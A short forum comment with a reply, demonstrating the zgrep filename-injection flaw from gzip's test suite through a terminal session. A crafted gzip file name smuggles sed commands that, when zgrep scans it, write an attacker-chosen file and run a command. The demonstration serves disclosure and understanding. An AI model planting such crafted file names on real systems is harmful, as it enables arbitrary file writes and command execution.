3 ms·
This one's pretty cool, example below per gzip-1.12/tests/zgrep-abuse: timdoug@box:~/gzip$ ls timdoug@box:~/gzip$ touch z timdoug@box:~/gzip$ echo test |
by timdoug 4y ago
This one's pretty cool, example below per gzip-1.12/tests/zgrep-abuse:
timdoug@box:~/gzip$ ls
timdoug@box:~/gzip$ touch z
timdoug@box:~/gzip$ echo test | gzip > 'z|
p
1s|.*|chosen-content|
1w hacked
etouch .\x2fhacked2
d
#
#'
timdoug@box:~/gzip$ zgrep test z*
ztest
timdoug@box:~/gzip$ ls hack*
hacked hacked2
timdoug@box:~/gzip$ cat hacked
chosen-content
timdoug@box:~/gzip$
- Beltiras 4y agoThanks for this! Simple enough to type out even.